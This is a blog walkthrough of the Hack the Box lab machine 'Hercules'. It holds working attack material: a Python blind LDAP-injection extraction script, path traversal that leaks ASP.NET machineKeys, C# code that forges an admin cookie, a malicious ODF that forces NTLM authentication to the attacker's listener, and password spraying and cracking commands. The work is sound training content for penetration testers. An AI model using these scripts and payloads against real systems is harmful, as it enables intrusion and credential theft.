Hercules Hack the Box Walkthrough

Welcome to another Hack the Box walkthrough. In this blog post, I have demonstrated how I owned the Hercules machine on Hack the Box. Hack The Box is a cybersecurity platform that helps you bridge knowledge gaps and prepares you for cyber security jobs.

You can also test and grow your penetration testing skills, from gathering information to reporting. If you are new to this blog, please do not forget to like, comment and subscribe to my YouTube channel and follow me on LinkedIn for more updates.

About the Machine

Hercules is an insane-level Windows Active Directory machine that heavily focuses on advanced AD abuse, certificate services exploitation, and Kerberos delegation attacks. Rather than relying on a single misconfiguration, the machine requires chaining together multiple subtle weaknesses across OU permissions, Shadow Credentials, Active Directory Certificate Services (AD CS), and resource-based constrained delegation (RBCD).

Initial access revolves around understanding delegated rights within Organizational Units, where ownership and GenericAll permissions become the foundation for escalation. From there, the attack path dives deep into modern AD abuse primitives, including Shadow Credentials, certificate template misconfigurations (ESC3 / ESC15), and Enrollment Agent abuse, forcing the attacker to reason carefully about certificate trust relationships and enrollment flows.

The machine further raises the difficulty by introducing disabled accounts, delegated password control, and smartcard-related privileges, requiring precise manipulation of user and computer objects rather than brute-force techniques. Exploitation culminates in abusing S4U2Self / S4U2Proxy via resource-based constrained delegation, allowing full impersonation of the Domain Administrator without ever knowing their password.

Hercules is a technically demanding lab that rewards a strong understanding of Kerberos internals, AD CS abuse, delegation mechanics, and BloodHound-driven attack path analysis. It is an excellent test of real-world Active Directory compromise techniques and is especially well-suited for players aiming to master enterprise-grade Windows domain attacks.

The first step in owning the Hercules machine like I have always done in my previous writeups is to connect my Kali Linux terminal with Hack the Box server. To establish this connection, I ran the following command in the terminal:

sudo openvpn hercules.ovpn

Once the connection between my terminal and Hack the Box server has been established, I started the Hercules machine and I was assigned an IP address 10.10.11.91.

Enumeration with Nmap

I started the enumeration phase by running a comprehensive Nmap scan against the target machine to identify open ports, running services, and potential attack surfaces:

nmap -sCV -A 10.10.11.91

The scan results revealed that the target is a Windows Server machine, most likely part of a domain environment based on the number of Active Directory-related services running. The domain name hercules.htb was also clearly indicated in several service banners and SSL certificates.

Recon: Name Resolution and Web Enumeration

The Nmap output made it obvious we’re dealing with an Active Directory domain called hercules.htb and a host named dc.hercules.htb. To make interacting with the HTTPS site straightforward I added both names to my /etc/hosts:

sudo nano /etc/hosts

I saved the changes and exited the /etc/hosts configuration screen.

Reading krb5.conf - Kerberos configuration confirms the domain controller

I opened the Kerberos config on my machine to see how the target domain was being resolved locally:

nano /etc/krb5.conf

I added the following in the krb5.conf file so as to confirm the exact Kerberos realm (HERCULES.HTB) and pointed it directly to dc.hercules.htb as the KDC/admin server while disabling DNS discovery.

[libdefaults] dns_lookup_kdc = false dns_lookup_realm = false default_realm = HERCULES.HTB [realms] HERCULES.HTB = { kdc = dc.hercules.htb admin_server = dc.hercules.htb default_domain = hercules.htb } [domain_realm] .hercules.htb = HERCULES.HTB hercules.htb = HERCULES.HTB

That made our Kerberos enumeration deterministic - we could target the DC directly (or use its IP) with Impacket tools to check for AS-REP and Kerberoastable accounts.

Kerberos User Enumeration with kerbrute

To enumerate valid domain accounts via Kerberos, I ran kerbrute against the domain controller. This tool attempts Kerberos AS-REQs for each username in the supplied wordlist and detects which accounts exist based on the responses (without needing passwords):

kerbrute userenum --dc 10.10.11.91 -d hercules.htb '/home/boltech/Desktop/HerculesHTB/xato-net-10-million-usernames.txt' -t 100

If you have difficulties running kerbrute command, you can check my Medium post on how to install Kerbrute here.

Output:

Using KDC(s): 10.10.11.91:88 [+] VALID USERNAME: admin@hercules.htb [+] VALID USERNAME: administrator@hercules.htb [+] VALID USERNAME: Admin@hercules.htb [+] VALID USERNAME: Administrator@hercules.htb [+] VALID USERNAME: auditor@hercules.htb [+] VALID USERNAME: ADMIN@hercules.htb [+] VALID USERNAME: will.s@hercules.htb

What this means and why it matters

1. Username enumeration succeeded. kerbrute was able to distinguish between valid and invalid usernames by observing Kerberos responses from the KDC at 10.10.11.91. This gives us a reliable list of accounts that actually exist in the hercules.htb domain.
2. Multiple admin variants. Seeing admin, administrator, and several case variants suggests the domain contains common privileged accounts (or legacy/default accounts). Even though Kerberos is generally case-insensitive, the presence of these entries is a strong signal that privileged accounts are present and should be tested carefully.
3. Service/audit account: auditor is interesting - it may be a low-privilege role or a service-type account that monitors systems. Such accounts sometimes have weak passwords or specific privileges worth investigating.
4. Human user: will.s looks like a real user (first initial + last initial pattern). This often makes for a good target for password-spraying, social engineering, or credential re-use attacks.

KDC revealed multiple valid accounts, notably several admin/administrator variants, an auditor account, and a user will.s. These confirmed usernames give us targets for AS-REP roasting, Kerberoasting, and carefully throttled password spraying.

Generating username permutations for brute-forcing

After some enumeration I needed a larger username list derived from the short names I already had. I ran a one-liner that expands each base name into 26 variants (name.a → name.z) and writes the result back to disk:

awk '/^[[:space:]]*$/ {next} { gsub(/^[ \t]+|[ \t]+$/,""); for(i=97;i<=122;i++) printf "%s.%c\n", $0, i }' /home/boltech/Desktop/HerculesHTB/names.txt | sudo tee /home/boltech/Desktop/HerculesHTB/names.txt > /dev/null && echo "Created: /home/boltech/Desktop/HerculesHTB/names.txt"

What the command does:

1. awk '/^[[:space:]]*$/ {next}
   Skips blank lines in the original file so you don’t get empty entries.

2. gsub(/^[ \t]+|[ \t]+$/,"")
   Trims leading and trailing spaces or tabs from each line (cleans names like alice → alice).

3. for(i=97;i<=122;i++) printf "%s.%c\n", $0, i
   For every cleaned name ($0) loop from ASCII 97 to 122 (letters a→z) and print name.a, name.b, … name.z on separate lines.

4. The awk output is piped to sudo tee /home/boltech/Desktop/HerculesHTB/names.txt which writes the generated list to the same path and the > /dev/null hides the tee output.

5. The final echo prints a confirmation that the file was created.

Result:

The resulting file now contains 26 permutations per original name, e.g. if names.txt originally had:

will.s admin

After the command it will contain:

will.s.a will.s.b ... will.s.z admin.a admin.b ... admin.z

This is handy for username enumeration tools (Kerberos brute/validation, password spraying lists, web login fuzzing) when services expect dotted suffixes or different mailbox aliases.

Web Enumeration

After setting up proper hostname resolution, I navigated to https://hercules.htb to manually inspect the web application. The site appeared static and minimal, and a full review of the visible content, page source, and client-side resources did not reveal anything immediately exploitable.

Since nothing obvious surfaced through manual inspection, I moved on to directory brute-forcing to uncover hidden endpoints.

Directory Fuzzing

To enumerate hidden paths and files, I used DIRB with the default common.txt wordlist:

dirb https://hercules.htb

This approach is useful for identifying forgotten endpoints, legacy routes, or restricted areas not directly linked from the main page.

DIRB quickly revealed several interesting findings:

1. Common IIS-style endpoints such as: /index, /default
2. Case-insensitive duplicates (/Index, /Default), consistent with a Windows IIS backend
3. A redirecting home page: /home → HTTP 302
4. Most notably, a login page: /login and /Login (HTTP 200)

The presence of both lowercase and uppercase variants further confirms that the application is hosted on IIS, where URL casing is not strictly enforced.

Static Content Discovery

DIRB also identified a /content/ directory (and its uppercase variant), which contains standard frontend resources:

1. /content/css
2. /content/js
3. /content/assets
4. /content/vendors

These directories host static files such as stylesheets, JavaScript, and third-party libraries. While nothing immediately exploitable was found here, they confirm the application follows a structured MVC-style layout typical of ASP.NET applications.

Login Functionality Analysis

From directory fuzzing, a login endpoint was identified at:

https://hercules.htb/Login

Initial manual testing confirmed the page is protected by rate limiting. After approximately 10 failed authentication attempts, the application responds with an HTTP 429 - Too Many Requests, temporarily blocking further attempts for roughly 30 seconds. This effectively prevents traditional brute-force and password spraying attacks against the web login.

Because of this restriction, further exploitation required a logic flaw rather than credential guessing.

Authentication Backend Behavior

Intercepting the login request with Burp Suite revealed that the application submits credentials via a POST request to /Login, including a standard ASP.NET anti-CSRF token (__RequestVerificationToken).

More importantly, the application returns distinct error messages depending on backend evaluation:

1. “Invalid username.”
2. “Login attempt failed.”

This discrepancy strongly suggests that the login process validates the username separately from the password, and that backend directory queries are leaking information through response behavior.

Given the environment (IIS + Active Directory), this indicates the login form is authenticating against an LDAP/Active Directory backend.

LDAP Injection Hypothesis

LDAP authentication commonly relies on a search filter similar to:

(username=<input>)

If user input is embedded directly into the LDAP filter without proper escaping, it becomes possible to manipulate the filter logic. LDAP filters support wildcards, logical operators, and grouping, making them a frequent target for injection attacks.

The goal here was not to bypass authentication outright, but to extract sensitive directory attributes, specifically the description field of a user object.

Injection Strategy

By injecting a crafted payload into the username field, it is possible to append additional LDAP clauses. Conceptually, the payload attempts to transform the original filter into something like:

(username=will.s*)(description=<prefix>*)

If the injected filter evaluates to a valid LDAP object, the application responds with “Login attempt failed”. If it evaluates to no results, the application responds with “Invalid username.” This behavior effectively turns the login endpoint into a boolean oracle.

Encoding Requirements

A raw LDAP payload such as:

will.s*)(description=*)

failed immediately and returned “Invalid username”, indicating the payload was being sanitized or broken before reaching the LDAP backend.

Further testing showed that double URL-encoding was required. Because IIS / ASP.NET performs intermediate decoding, special characters must be encoded twice (% → %25) so that the final decoded payload reaches LDAP intact.

Example injected payload:

will.s%252A%2529%2528description%253D%252A

When submitted via Burp Repeater, this payload resulted in:

Login attempt failed

This confirms that the LDAP filter was successfully evaluated and that the description attribute exists and matched the injected condition.

Exploitation Outcome

With a working injection primitive and a reliable response oracle, the description attribute can now be reconstructed character by character using a prefix-based approach:

1. Test whether description starts with a, then b, then c, etc.
2. A positive match returns “Login attempt failed”
3. A negative match returns “Invalid username”

Despite rate limiting, this method remains viable because it requires controlled, low-frequency requests, not brute force.

Given the context of the challenge, it is highly likely that the description field contains sensitive information, such as credentials or hints intended for lateral movement.

Automating LDAP Description Enumeration

With a working LDAP injection primitive confirmed, the next step was to automate data extraction. Manually probing each character would be slow and error-prone, especially with rate limiting in place, so I wrote a custom Python script (bruteforce.py) to enumerate LDAP description fields programmatically:

#!/usr/bin/env python3 import requests import string import urllib3 import re import time # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Configuration BASE = "https://hercules.htb" LOGIN_PATH = "/Login" LOGIN_PAGE = "/login" TARGET_URL = BASE + LOGIN_PATH VERIFY_TLS = False # Success indicator (valid user, wrong password) SUCCESS_INDICATOR = "Login attempt failed" # Token regex TOKEN_RE = re.compile(r'name="__RequestVerificationToken"\s+type="hidden"\s+value="([^"]+)"', re.IGNORECASE) # All enumerated users (replaced as requested) KNOWN_USERS = [ "adriana.i", "angelo.o", "ashley.b", "bob.w", "camilla.b", "clarissa.c", "elijah.m", "fiona.c", "harris.d", "heather.s", "jacob.b", "jennifer.a", "jessica.e", "joel.c", "johanna.f", "johnathan.j", "ken.w", "mark.s", "mikayla.a", "natalie.a", "nate.h", "patrick.s", "ramona.l", "ray.n", "rene.s", "shae.j", "stephanie.w", "stephen.m", "tanya.r", "tish.c", "vincent.g", "will.s", "zeke.s", "auditor" ] def get_token_and_cookie(session): """Get fresh CSRF token and cookies""" response = session.get(BASE + LOGIN_PAGE, verify=VERIFY_TLS) token = None match = TOKEN_RE.search(response.text) if match: token = match.group(1) return token def test_ldap_injection(username, description_prefix=""): """Test if description starts with given prefix using LDAP injection""" session = requests.Session() # Get fresh token token = get_token_and_cookie(session) if not token: return False # Build LDAP injection payload if description_prefix: # Escape special characters escaped_desc = description_prefix if '*' in escaped_desc: escaped_desc = escaped_desc.replace('*', '\\2a') if '(' in escaped_desc: escaped_desc = escaped_desc.replace('(', '\\28') if ')' in escaped_desc: escaped_desc = escaped_desc.replace(')', '\\29') payload = f"{username}*)(description={escaped_desc}*" else: # Check if user has description field payload = f"{username}*)(description=*" # Double URL encode encoded_payload = ''.join(f'%{byte:02X}' for byte in payload.encode('utf-8')) data = { "Username": encoded_payload, "Password": "test", "RememberMe": "false", "__RequestVerificationToken": token } try: response = session.post(TARGET_URL, data=data, verify=VERIFY_TLS, timeout=5) return SUCCESS_INDICATOR in response.text except Exception as e: return False def enumerate_description(username): """Enumerate description/password field character by character""" # Character set - most common password chars first for optimization charset = ( string.ascii_lowercase + string.digits + string.ascii_uppercase + "!@#$_*-." + # Common special chars "%^&()=+[]{}|;:',<>?/`~\" \\" # Less common ) print(f"\n[*] Checking user: {username}") # First check if user has description if not test_ldap_injection(username): print(f"[-] User {username} has no description field") return None print(f"[+] User {username} has a description field, enumerating...") description = "" max_length = 50 no_char_count = 0 for position in range(max_length): found = False for char in charset: test_desc = description + char if test_ldap_injection(username, test_desc): description += char print(f" Position {position}: '{char}' -> Current: {description}") found = True no_char_count = 0 break # Small delay to avoid rate limiting time.sleep(0.01) if not found: no_char_count += 1 if no_char_count >= 2: # Stop after 2 positions with no chars break if description: print(f"[+] Complete: {username} => {description}") return description return None def main(): print("="*60) print("Hercules LDAP Description/Password Enumeration") print(f"Testing {len(KNOWN_USERS)} users") print("="*60) found_passwords = {} # Priority users to test first priority_users = ["web_admin", "auditor", "Administrator", "natalie.a", "ken.w"] other_users = [u for u in KNOWN_USERS if u not in priority_users] # Test priority users first for user in priority_users + other_users: password = enumerate_description(user) if password: found_passwords[user] = password # Save results immediately with open("hercules_passwords.txt", "a") as f: f.write(f"{user}:{password}\n") print(f"\n[+] FOUND: {user}:{password}\n") print("\n" + "="*60) print("ENUMERATION COMPLETE") print("="*60) if found_passwords: print(f"\nFound {len(found_passwords)} passwords:") for user, pwd in found_passwords.items(): print(f" {user}: {pwd}") else: print("\nNo passwords found") if __name__ == "__main__": main()

The script targets the /Login endpoint and faithfully replicates a legitimate authentication flow:

1. It fetches a fresh CSRF token (__RequestVerificationToken) for every request
2. Maintains session cookies using requests.Session()
3. Submits crafted username payloads while supplying a dummy password
4. Uses the application’s response message as a boolean oracle

A response containing “Login attempt failed” indicates that the injected LDAP filter evaluated to a valid object, whereas “Invalid username” means the filter returned no results.

Injection Logic

For each known domain user, the script first checks whether the account has a populated description attribute by injecting:

username*)(description=*

If this condition evaluates as true, the script then enumerates the value character by character, using a prefix-based approach:

username*)(description=<prefix>*

Each request tests whether the description begins with the supplied prefix. A positive match confirms the next character and advances the enumeration.

Because IIS and ASP.NET preprocess requests, the payload is double URL-encoded before submission to ensure the LDAP backend receives the injection intact.

Enumeration Results

Running the script against the previously enumerated domain users produced mostly negative results. For the majority of accounts, the application consistently responded that no description field existed, indicating either empty attributes or restricted visibility.

However, one account immediately stood out:

[*] Checking user: johnathan.j [+] User johnathan.j has a description field, enumerating...

At this point, the script successfully began reconstructing the description value one character at a time. Each confirmed character produced a positive oracle response, allowing the full string to be recovered incrementally.

The final extracted value was:

change*th1s_p@ssw()rd!!

Which the script recorded as:

[+] FOUND: johnathan.j:change*th1s_p@ssw()rd!!

Impact

This confirms that sensitive credentials were stored directly in the LDAP description attribute, a critical security misconfiguration. Despite rate limiting and the absence of brute-force opportunities, the application’s verbose error handling and unsafe LDAP query construction enabled full credential disclosure via blind injection.

At this stage, valid domain credentials have been obtained without ever authenticating successfully through the web application.

Verifying the Harvested Credentials

After extracting what appeared to be valid domain credentials from the LDAP description attribute, the next step was to verify whether these credentials could be used for directory authentication.

To do this, I used NetExec (nxc) to attempt an LDAP bind against the domain controller, explicitly targeting the LDAP service on port 389 and supplying the recovered credentials for johnathan.j.

nxc ldap 10.10.11.91 -u johnathan.j -p 'change*th1s_p@ssw()rd!!' -k

Since this was the first execution of NetExec on the system, it initialized its workspace and protocol databases before performing the authentication attempt.

LDAP Service Discovery

NetExec successfully identified the target as a Domain Controller belonging to the hercules.htb Active Directory domain:

LDAP 10.10.11.91 389 DC (domain: hercules.htb)

This confirmed that the LDAP service was reachable and responding as expected, ruling out network-level issues.

Authentication Failure Analysis

Despite LDAP being accessible, the authentication attempt failed with the following error:

KDC_ERR_PREAUTH_FAILED

This Kerberos error indicates that the supplied credentials failed Kerberos pre-authentication, meaning the password provided for johnathan.j was not accepted by the Key Distribution Center (KDC).

In practice, this suggests one of the following:

1. The extracted value is not the actual account password, but rather a hint or temporary value
2. The password may have been changed since it was stored in the LDAP description
3. The account could be restricted from Kerberos authentication
4. Or the credential is intended for a different service, not standard domain login

LDAP Injection via Username Field

Based on earlier Kerberos enumeration, the username johnathan.j was confirmed to exist. However, attempting to log in normally resulted in the generic “Login attempt failed” message, as shown in the screenshot.

At this point, attention shifted to how the backend processed the Username field. The behavior strongly suggested that the application was constructing an LDAP query directly from user input, without proper sanitization.

By injecting a crafted payload that:

1. prematurely closes the username filter, and
2. appends an LDAP condition such as:

it became possible to test whether any directory object’s description attribute started with a given prefix.

If the condition evaluated to true, the application would respond with “Login attempt failed” (valid user, wrong password). If false, it would behave as if the username were invalid.

This effectively turned the login page into a boolean oracle for LDAP attribute content.

Kerberos Prep: Time Synchronization

Before attempting to reuse the recovered credential against Kerberos-backed services, the local system clock was synchronized with the domain controller:

ntpdate 10.10.11.91

Kerberos authentication is highly time-sensitive, and even small clock skews can result in authentication failures. Syncing time ensured that subsequent Kerberos-based attacks would not fail for environmental reasons.

Spraying the Recovered Credential Against Domain Users

After extracting the string change*th1s_p@ssw()rd!! from the LDAP description attribute earlier, the next logical step was to determine which account this credential actually belonged to. Given the wording, it strongly resembled a reused or default password rather than something unique to johnathan.j.

To test this hypothesis, I compiled all previously enumerated domain users into a single file, users.txt, and performed a credential spray against the domain controller using nxc over LDAP:

adriana.i angelo.o ashley.b bob.w camilla.b clarissa.c elijah.m fiona.c harris.d heather.s jacob.b jennifer.a jessica.e joel.c johanna.f johnathan.j ken.w mark.s mikayla.a natalie.a nate.h patrick.s ramona.l ray.n rene.s shae.j stephanie.w stephen.m tanya.r tish.c vincent.g will.s zeke.s auditor

nxc ldap 10.10.11.91 -u 'users.txt' -p 'change*th1s_p@ssw()rd!!' --continue-on-success -k

The goal here was simple:

1. reuse the recovered password,
2. test it across all known users,
3. and continue testing even after a successful authentication.

Interpreting the LDAP Spray Results

Most authentication attempts failed with the following Kerberos error:

KDC_ERR_PREAUTH_FAILED

This error is significant. It confirms that:

1. the username exists in the domain, and
2. the password is incorrect for that account.

In other words, the password itself is valid Kerberos input, but it does not match the majority of users - exactly what we would expect during a password spray. However, one result immediately stood out:

[+] hercules.htb\ken.w:change*th1s_p@ssw()rd!!

This line indicates a successful authentication against the domain controller using Kerberos. Unlike the surrounding failures, no pre-authentication error was returned, confirming that the credentials are valid for the ken.w account.

Authenticated Portal Access & File Download Abuse

Using the recovered credentials (ken.w : change*th1s_p@ssw()rd!!), I successfully authenticated to the Hercules Portal and was redirected to the user dashboard.

In the left-corner of the portal, there were several hyperlinks. One that caught my eye was "Mail" and I decided to open it. I found three messages with header "Site Maintenance", "Important", and "From the Boss".

I then pivoted to the Downloads section from the left-hand navigation menu. This page exposed three downloadable resources tied to internal workflows:

1. Form 1 – Registration (user onboarding)
2. Form 2 – Applications (application management)
3. Form 3 – Feedback (issue reporting)

Given that these downloads were served dynamically, this immediately raised the possibility of insecure file handling.

Intercepting the Download Request

With Burp Suite interception enabled, I clicked Form 1: Registration. The portal issued the following request:

GET /Home/Download?fileName=registration.pdf

This indicated that the backend was directly consuming a fileName parameter - suggesting a potential path traversal vulnerability.

Path Traversal to Sensitive Configuration

To validate this, I modified the request in Burp Repeater to reference a known sensitive file within ASP.NET applications:

GET /Home/Download?fileName=../../web.config

High-Impact Information Disclosure

The leaked configuration file contained highly sensitive cryptographic material, including the application’s <machineKey>:

<machineKey decryption="AES" decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581" validation="HMACSHA256" validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" />

In ASP.NET environments, the machineKey is used to:

1. Encrypt and decrypt authentication cookies
2. Validate ViewState
3. Protect forms authentication tickets

Exposure of these keys enables cookie forging, session hijacking, and potentially authentication bypass across the entire application.

Preparing a Legacy Authentication Cookie Tooling Environment

With the ASP.NET machineKey values extracted earlier, the next step was to recreate the target’s authentication mechanism locally in order to forge valid legacy authentication cookies. Since the application appeared to be running on an older ASP.NET stack, I needed a way to generate Forms Authentication cookies compatible with legacy ASP.NET.

To do this, I initialized a fresh .NET console project:

dotnet new console -o LegacyAuthConsole

This created a minimal .NET 6.0 console application, which would serve as a controlled environment for crafting authentication cookies. The output confirms that the project template was created successfully and that all required dependencies were restored.

Immediately, I moved into the directory LegacyAuthConsole:

cd LegacyAuthConsole

Adding Legacy ASP.NET Cookie Compatibility

Modern .NET Core does not natively support legacy ASP.NET Forms Authentication cookies. To bridge this gap, I added the AspNetCore.LegacyAuthCookieCompat NuGet package:

dotnet add package AspNetCore.LegacyAuthCookieCompat --version 2.0.5

This package is specifically designed to generate and validate legacy ASP.NET authentication cookies using known machineKey values. During installation, NuGet automatically pulled in all required dependencies, including cryptographic and runtime libraries necessary for cross-platform compatibility.

Although the output is verbose, the key takeaway is that the package was installed successfully and the project now supports:

1. Legacy Forms Authentication ticket creation
2. Cookie encryption and signing using extracted machineKey values
3. Compatibility with older ASP.NET authentication logic used by the target application

Forging a Legacy ASP.NET Authentication Cookie

With the machineKey values successfully extracted from web.config, the next objective was to forge a valid ASP.NET Forms Authentication cookie. Since the application relied on legacy FormsAuth rather than modern authentication mechanisms, this opened the door to a full authentication bypass.

To accomplish this, I created a custom Program.cs file that manually constructs and encrypts a FormsAuthenticationTicket using the leaked cryptographic material.

using System; using AspNetCore.LegacyAuthCookieCompat; class Program { static void Main(string[] args) { // MachineKey from your web.config string validationKey = "EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A> string decryptionKey = "B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581"; // Trim the validation key automatically if it's too long for HMACSHA256 if (validationKey.Length > 128) { validationKey = validationKey.Substring(0, 128); } // Convert keys to byte arrays byte[] decryptionKeyBytes = HexUtils.HexToBinary(decryptionKey); byte[] validationKeyBytes = HexUtils.HexToBinary(validationKey); // Create an authentication ticket var issueDate = DateTime.Now; var expiryDate = issueDate.AddHours(1); var formsAuthenticationTicket = new FormsAuthenticationTicket( 1, // version "web_admin", // username issueDate, expiryDate, false, // isPersistent "Web Administrators", // userData "/" // cookiePath ); // Create encryptor with your AES + HMACSHA256 settings var legacyEncryptor = new LegacyFormsAuthenticationTicketEncryptor( decryptionKeyBytes, validationKeyBytes, ShaVersion.Sha256 ); // Encrypt the authentication ticket var encryptedText = legacyEncryptor.Encrypt(formsAuthenticationTicket); Console.WriteLine("Encrypted FormsAuth Ticket:"); Console.WriteLine(encryptedText); } }

The code performs the following steps:

1. Reuse the application’s cryptographic secrets
   The validationKey and decryptionKey were copied directly from web.config. These keys are responsible for signing (HMAC-SHA256) and encrypting (AES) Forms Authentication cookies.

2. Normalize the validation key
   ASP.NET truncates validation keys when using HMACSHA256. To ensure byte-perfect compatibility with the target application, the validation key is trimmed to the expected length before use.

3. Recreate a privileged authentication ticket
   A FormsAuthenticationTicket was generated for the user web_admin, assigning it: • A valid issue and expiry timestamp • A non-persistent session • Custom userData set to Web Administrators, matching the expected role format

4. Encrypt and sign the ticket
   Using LegacyFormsAuthenticationTicketEncryptor, the ticket was encrypted and signed exactly as the target server would do internally.

dotnet restore dotnet build dotnet run

After restoring dependencies and building the project, the application was executed locally. The output was a long hexadecimal string - a fully valid, server-trusted Forms Authentication cookie:

Encrypted FormsAuth Ticket: 674A011FA0CE7F84BB6E61DED611F7D31EE313C77856E4E330DCD327062DFAF408593DBCA98353711708CEE4159ED48EC3B4325FC146D0502DF18BC76244A6DD90404D59628849F6413C541B2D451739FFE5A940684B1D825C584C2BB3076D9D5F930226888E1A55C52C438D886632CEC7B82A861E7D5738AC5BF87F8B7294E0872D72EB4ADAB8327C7B54998D5A0B75B4073145DE5CA6D87DCC6B9D8A8566956C964328F1F5138DF78D522960ECB9F762143772751E2F6488545720FBB42CD9

Why This Works

ASP.NET Forms Authentication relies entirely on the secrecy of the machineKey. Since both the encryption and validation keys were exposed, the server has no way to distinguish between a legitimately issued cookie and one forged offline.

At this point, authentication is effectively broken:

1. No credentials are required
2. No password guessing is involved
3. Privileged access is achieved purely through cryptographic abuse

The generated cookie can now be injected into the browser session, granting instant access as web_admin and allowing further privilege escalation within the application.

Pivoting to Admin Functionality via Forged Cookie

Back in the Hercules Portal, I clicked the Forms section and noticed the application exposes a file upload feature. At this point, the earlier machineKey disclosure became a full authentication break: by injecting the forged FormsAuth cookie into the browser’s session storage, the portal immediately treated my session as the higher-privileged user web_admin.

The UI confirmed the privilege change right away - the displayed username switched from ken.w to web_admin, proving the server accepted the cookie as legitimate and granted admin-level access without needing a password.

Weaponizing the Upload: Forcing Outbound Authentication

With admin access and an upload workflow available, the next goal was to turn that feature into a credential capture primitive.

In many Windows environments, when a server (or a user reviewing a submission) opens a document that references an external network resource, Windows may automatically attempt to authenticate to that resource using NTLM. If we control the destination, we can capture the resulting NetNTLMv2 challenge-response.

So instead of uploading a normal document, I generated a specially crafted ODF/ODT file designed to trigger a background request to my attacker host.

Crafting a Malicious ODF to Trigger NTLM Authentication

With admin access to the portal and a file upload feature available, the next move was to generate a document that would force the target environment to reach out to my machine and attempt Windows authentication. The goal here is to capture a NetNTLMv2 challenge-response, which can later be cracked offline or used in follow-on attacks.

To keep everything clean, I built the payload generator inside an isolated Python virtual environment.

Setting Up the Tooling Environment

I first created and activated a virtual environment:

python3 -m venv .venv source .venv/bin/activate

Then I created a working directory and installed the two dependencies required by the Bad-ODF generator:

mkdir Bad-ODF && cd Bad-ODF pip install ezodf lxml

The output shows ezodf was built successfully and both ezodf and lxml were installed without issues.

Fetching and Running the Bad-ODF Generator

Next, I pulled the generator script directly from GitHub:

wget https://raw.githubusercontent.com/lof1sec/Bad-ODF/refs/heads/main/Bad-ODF.py

With the script downloaded, I ran it:

python3 Bad-ODF.py

A small SyntaxWarning about an escape sequence appeared, but it does not impact functionality - Python is simply warning about how ASCII art is printed.

The script then prompted for the listener IP. I provided my VPN interface address:

Please enter IP of listener: 10.10.14.78

This value is embedded into the document so that when the file is opened or processed, it attempts to retrieve remote content from my machine - triggering Windows to send an NTLM authentication attempt.

The script then outputs a file (e.g., bad.odt) crafted to reference an attacker-controlled path, so that when the file is processed, Windows attempts NTLM authentication outward.

Abusing the Admin Upload to Trigger NTLM Authentication

With the forged web_admin session cookie in place, I refreshed the portal and confirmed the privilege escalation was successful - the interface now clearly identified me as web_admin. This unlocked functionality that was previously out of reach, most notably the Forms section.

Inside Forms → Report Submission, I found a classic administrative workflow: users can submit reports along with an uploaded file. From an attacker’s perspective, this is a perfect execution point - a backend process is very likely to open, parse, or otherwise handle uploaded documents.

At this stage, the plan was simple:

1. I already had a malicious ODF document (bad.odt) crafted to force outbound authentication.
2. I had Responder listening on my VPN interface.
3. I had admin privileges, meaning fewer restrictions or content checks.

I filled in the required form fields with arbitrary data and selected bad.odt as the uploaded file. Nothing fancy - the payload lives entirely inside the document structure itself.

Once the file was uploaded and submitted, the trap was set.

Capturing the NetNTLMv2 Hash

While the malicious file was uploaded through the portal, I also started a listener on my attack box to catch any outbound authentication attempts.

sudo responder -I tun0

Once the portal processed the upload, the listener received an NTLM authentication attempt from the target side, resulting in a captured NetNTLMv2 hash.

In practice, this confirms two key things:

1. The portal’s upload workflow leads to server-side handling/review (or triggers a process that opens/parses the document).
2. That handling path can be abused to force NTLM authentication leakage, turning a simple “upload” feature into a credential capture vector.

Offline Password Cracking

With the hash safely captured, the next step was offline cracking. Since NetNTLMv2 hashes are designed to be crackable with sufficient wordlists, I fed the hash into John the Ripper, using the standard rockyou.txt wordlist:

john --wordlist=/usr/share/wordlists/rockyou.txt natalie.a.hash

The result came back almost instantly:

Prettyprincess123! (natalie.a)

This confirmed valid plaintext credentials for the domain user natalie.a.

Mapping Active Directory with BloodHound

With valid domain credentials in hand (ken.w : change*th1s_p@ssw()rd!!), the next logical step was to enumerate the Active Directory environment and identify possible privilege-escalation or lateral-movement paths. For this, I turned to BloodHound.

I used bloodhound-python to collect a full dataset from the domain:

bloodhound-python -u ken.w -p 'change*th1s_p@ssw()rd!!' -c All -d hercules.htb -ns 10.129.242.196 --zip --use-ldap

BloodHound successfully authenticated and obtained a Kerberos TGT, confirming the credentials were valid for domain enumeration. It then connected to the LDAP service on dc.hercules.htb and began harvesting directory data.

From the output, BloodHound identified:

• 1 domain (hercules.htb)
• 1 forest
• 1 computer (the domain controller)
• 49 user accounts
• 62 security groups
• 9 organizational units (OUs)
• 2 Group Policy Objects (GPOs)
• 19 containers
• 0 external trusts

Once LDAP enumeration completed, BloodHound queried the domain controller directly for computer-level information and finalized the dataset.

The entire collection process completed in under a minute and was packaged into a ZIP archive:

20260121043821_bloodhound.zip

With valid domain credentials in hand, the next step was to understand how privilege delegation was structured inside the HERCULES Active Directory environment. Rather than guessing escalation paths, I opted to enumerate and visualize trust relationships using BloodHound.

After collecting the data with bloodhound-python and importing the resulting ZIP file into the BloodHound GUI, the domain’s internal relationships became much clearer.

Key Findings from BloodHound

The BloodHound graph immediately revealed several high-impact misconfigurations:

1.    Natalie A. → Web Support

Natalie A. is a member of the Web Support group.

This group has GenericWrite permissions over six separate user accounts.

GenericWrite is dangerous: it allows modifying attributes such as passwords, service principal names (SPNs), or group memberships.

2.    Remote Management Group

Both Auditor and Ashley B. are members of Remote Management Users.

This group typically grants interactive or remote access to systems, making its members valuable targets for lateral movement.

3.    Stephen M. → Security Helpdesk

Stephen M. belongs to the Security Helpdesk group.

The ForceChangePassword group has rights over seven user accounts.

ForceChangePassword is effectively account takeover - it allows resetting a user’s password without knowing the original one.

These relationships exposed clear privilege escalation paths:

1. A compromised Web Support user can directly modify other users via GenericWrite.
2. Members of Security Helpdesk can reset passwords for multiple users, potentially escalating to higher-privileged accounts.
3. Chained together, these misconfigurations provide a reliable route from a low-privileged foothold to broader domain control.

Instead of blindly attacking services, BloodHound allowed me to prioritize targets based on actual permissions, significantly reducing guesswork and noise.

